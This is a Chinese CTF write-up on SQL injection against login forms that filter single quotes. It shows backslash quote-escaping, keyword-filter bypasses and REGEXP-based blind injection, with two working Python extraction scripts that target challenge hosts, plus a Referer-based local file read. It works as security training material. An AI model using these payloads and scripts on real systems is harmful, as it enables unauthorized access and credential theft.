0x00 前言

通常来说,在进行字符型的SQL注入时,都需要先将前面的引号等(以单引号为例)进行闭合才能执行我们构造的SQL语句,那么如果单引号被过滤了,是否还能够成功的SQL注入呢?

答案是可以,当你在判断登录时使用的是如下SQL语句:

1
select user from user where user='$_POST[username]' and password='$_POST[password]';

那么即使在过滤的时候将单引号过滤掉了,还是可以进行一定程度上的注入的,下面通过两道CTF题来进行介绍。


0x01 [BJDCTF 2020]简单注入

进入题目后就是一个登录框,名字也提示了要注入:
在这里插入图片描述
扫描目录发现hint.txt中的提示:

在这里插入图片描述

告诉了我们登录的sql语句:

1
select * from users where username='$_POST["username"]' and password='$_POST["password"]';

稍微fuzz一下可以发现过滤了'"=-andselect等关键词,其中关键就是这个单引号,由hint已知这里是需要单引号进行闭合的,而单引号又被过滤了。

可以发现注释符#和反斜杠\并没有被过滤,既然注释符没有过滤,那么我们就可以注释掉最后一个单引号,这样就只剩下3个单引号需要处理。

而如果我们输入的用户名以反斜杠\结尾,例如POST:username=admin\&password=123456#,那么拼接进去后,\就可以将第2个单引号转义掉,如下:

1
select * from users where username='admin\' and password='123456#';

这样第1个单引号就会找第3个单引号进行闭合,后台接收到的username实际上是admin\' and password=这个整体,而这个用户名显然不存在,所以还是登录失败。

但是别忘了我们还有一个password变量可控,实际上我们已经解决了单引号的闭合问题了,下面的就是常规的思路,比如我们构造password为 or 2>1#

那么拼接后的sql语句就为:

1
select * from users where username='admin\' and password=' or 2>1#';

很显然上面的语句会返回为真,通过这样的思路,我们就可以进行bool盲注:

在这里插入图片描述

在这里插入图片描述

最终脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests

s = requests.Session()
url = 'http://6644a23a-145c-40a9-a969-90ff1f80ac4d.node3.buuoj.cn/'
flag = ''

def exp(i, j):
payload = f"or (ascii(substr(password,{i},1))>{j})#"
data = {
"username": "admin\\",
"password": payload
}
r = s.post(url, data=data)
if "BJD needs to be stronger" in r.text:
return True
else:
return False

for i in range(1, 100):
low = 32
high = 127
while (low <= high):
mid = (low + high)//2
if (exp(i, mid)):
low = mid + 1
else:
high = mid - 1
flag += chr((low+high+1)//2)
print(flag)

运行脚本得到admin的密码:OhyOuFOuNdit,登录即可得到flag。
在这里插入图片描述


0x02 某道CTF入群题

同样也是一到登陆题,在check.php中给出了源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php 
include "config.php";
error_reporting(0);
highlight_file(__FILE__);

$check_list = "/into|load_file|0x|outfile|by|substr|base|echo|hex|mid|like|or|char|union|or|select|greatest|%00|_|\'|admin|limit|=_| |in|<|>|-|user|\.|\(\)|#|and|if|database|where|concat|insert|having|sleep/i";
if(preg_match($check_list, $_POST['username'])){
die('<h1>Hacking first,then login!Username is very special.</h1>');
}
if(preg_match($check_list, $_POST['passwd'])){
die('<h1>Hacking first,then login!No easy password.</h1>');
}
$query="select user from user where user='$_POST[username]' and passwd='$_POST[passwd]'";
$result = mysql_query($query);
$result = mysql_fetch_array($result);
$passwd = mysql_fetch_array(mysql_query("select passwd from user where user='admin'"));
if($result['user']){
echo "<h1>Welcome to CTF Training!Please login as role of admin!</h1>";
}
if(($passwd['passwd'])&&($passwd['passwd'] === $_POST['passwd'])){
$url = $_SERVER["HTTP_REFERER"];
$parts = parse_url($url);
if(empty($parts['host']) || $parts['host'] != 'localhost'){
die('<h1>The website only can come from localhost!You are not admin!</h1>');
}
else{
readfile($url);
}
}
?>

可以看到这一题的sql语句同样是下面这样:

1
select user from user where user='$_POST[username]' and passwd='$_POST[passwd]'

只不过过滤了更多的东西,下面思考如果进行绕过:

  • or可以用||进行绕过。
  • %00绕过注释符#、-- 的过滤
    (虽然%00在过滤列表中,但由于浏览器在传给php过程中会经过一次urldecode(),所以php接收到的并不是%00
  • /**/绕过空格的过滤。
  • 如果我们只需要得到user表下password字段的值,因为是在同一条语句中,所以select等查询语句的过滤对我们没有影响。
  • 反斜杠\没被过滤,思路还是利用转义单引号来构造闭合,然后再在password字段构造盲注语句进行注入。

现在就是如何构造盲注语句,常用的=><like等逻辑运算都被过滤掉了,这时候就需要用到REGEXP正则注入

在MySQL中除了可以使用LIKE ..%进行模糊匹配,同样也支持正则表达式的匹配,其使用REGEXP 操作符来进行正则表达式匹配。

正则表达式的规则就类似于PHP 或 Perl,下表中的正则模式可应用于 REGEXP 操作符中:
在这里插入图片描述

查找以Le开头的用户名:
在这里插入图片描述
查找以ck结尾的用户名:
在这里插入图片描述

回到题目中来,我们尝试将按照题目的sql逻辑构造如下语句:、
在这里插入图片描述
在这里插入图片描述

发现是能够进行真假判断的,如果第一个字母猜对了,我们只需要接着判断前两位的开头是否正确即可,然后以此类推,直到猜出全部字段的值:
在这里插入图片描述
在这里插入图片描述

在题目中进行一下验证,利用Intruder模块爆破一下:
在这里插入图片描述
在这里插入图片描述
可以看到在以dD开头时都返回了真,是因为使用regexp正则匹配时是不区分大小写,通常来说只需要加上binary即可解决这个问题,如||binart/**/passwd/**/regexp/**/"^a";%00,但是这一题过滤了in,所以目前我还没有想到好的方法进行大小写匹配。

但实际上这一题的密码都是由小写组成的,否则就只能去遍历所有情况进行爆破了。

最终的脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests

s = requests.Session()
url = "http://47.102.127.194:8801/check.php"

str = '1234567890qwertyuiopasdfghjklzxcvbnm'
temp = ""
flag = ""

for i in range(30):
for j in str:
temp = flag
temp += j
#注意%00要用\00表示
payload = f"||passwd/**/regexp/**/\"^{temp}\";\00"
data = {
"username":"\\",
"passwd":payload
}
r = s.post(url, data=data)
if "CTF Training" in r.text:
flag = temp
print(flag)
break

运行脚本得到密码:d0itr1ght
在这里插入图片描述
得到密码后,后面的就比较简单了,adminadm/**/in绕过,然后用Referer利用file://localhost/..伪造本地读文件即可:
在这里插入图片描述
源码中得到flag:
在这里插入图片描述